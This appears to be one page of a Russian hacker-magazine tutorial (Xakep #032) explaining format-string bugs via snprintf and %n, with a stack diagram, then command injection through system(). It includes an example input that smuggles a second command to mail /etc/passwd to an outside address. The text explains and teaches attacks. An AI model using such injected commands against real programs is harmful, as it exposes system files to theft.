Найди дыру в Си-скрипте

Xakep, номер #032, стр. 032-070-4


snprintf (buffer, sizeof(buffer), "aaaaa%n", &i);

то в переменную "i" запишется цифра 5 (5 букв "a"). Сим мы и воспользуемся! Чтобы лучше понять, как работает данное переполнение, приведу приблизительную картину стека при работе такого кода:

char buffer[8];

int i = 10;

int *i_pointer = &i;

snprintf (buffer, sizeof(buffer), "1111%n");

Вот кусок стека:

верхние адреса памяти

+-------------------------------+

| Сам массив buffer | 8 байт

+-------------------------------+

| переменная i | 4 байта

+-------------------------------+

| Указатель на переменную i | 4 байта

+-------------------------------+

| указатель на строку с "1111%n"| 4 байта

+-------------------------------+

| siseof(buffer) | 4 байта

+-------------------------------+

| Указатель на массив buffer | 4 байта

+-------------------------------+

нижние адреса памяти

При своем вызове snprintf() увидит, что в форматной строке присутствуют 4 символа "1111" и спецификатор %n. Так как в качестве параметра для snprintf() мы не задавали указатель на переменную, в которую надо записать число 4 (количество символов до %n), то snprintf() возьмет первое же значение из стека, идущее за указателем на "1111%n". Видишь тему? Указатель на i запишет в "i" число 4. В итоге i из десятки превратится в четверку.

Фантастика

Это и есть основная идея формат-стринговых переполнений - "нестандартное" обращение со спецификаторами. Можно привести еще кучу случаев использования формат-стринговых функций. Например, реально засунуть указатель в исходный буфер. Этот указатель затем скопируется в буфер назначения. А при помощи формат-стринговых спецификаторов можно извратиться до такой степени, что в качестве значения %n формат-стринговая функция возьмет наш скопированный в буфер адрес. Таким образом, мы получим возможность писать в любую область памяти процесса. С чисто теоретической стороны все эти махинации аналогичны последнему примеру.

По переполнению буфера в Сети можно найти еще кучу интересного материала. Если Тебе понравилась подобная шняга, то вперед! Очень хорошие статьи есть на эту тему во phrack'е, неплохие переводы на void.ru, так что недостатка информации по buffer overflow, мягко говоря, не ощущается.

Другие методы атак

Помимо buffer overflow, существуют еще другие, менее распространенные, но порой более эффективные способы взлома программы. Поэтому хотелось сказать пару слов о них. Большинство основано на дырках в библиотечных функциях Си. Взять, к примеру, exec(), system() и popen(). Очень часто параметры этих функций берутся от пользователя. Допустим, юзвер вводит строку "user@mail.ru", а программа преобразует ее в "mail user@mail.ru < file.txt" и передает в качестве параметра, например, для system(). system() же выполняет ее как шелл-команду. Тут можем свободно передать программе не "user@mail.ru", а, допустим, "user@mail.ru < /etc/passwd; mail billgates@microsoft.com", что потом преобразуется в "mail user@mail.ru < /etc/passwd; mail billgates@microsoft.com < file.txt" и успешно выполнится. Еще одна фишка из той же оперы - программа берет параметр из переменных окружения:

Назад на стр. 032-070-3  Содержание  Вперед на стр. 032-070-5